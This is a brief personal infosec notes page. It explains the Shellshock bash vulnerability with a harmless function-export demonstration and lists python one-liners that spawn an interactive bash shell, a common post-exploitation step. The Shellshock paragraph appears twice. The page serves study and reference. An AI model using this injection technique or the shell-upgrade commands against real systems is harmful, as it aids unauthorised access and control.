Shellshock
A function in a environment variable is executed in a child process of the bash. When exporting a new function like this
export func=’() { echo mist; }; echo aha;’
and starting a new bash session, “aha” is executed.
A function in a environment variable is executed in a child process of the bash. When exporting a new function like this
export func=’() { echo mist; }; echo aha;’
and starting a new bash session, “aha” is executed.
Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.
Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.
python -c 'import pty;pty.spawn("/bin/bash")';
python3 -c 'import pty;pty.spawn("/bin/bash")';
Leave a Reply
You must be logged in to post a comment.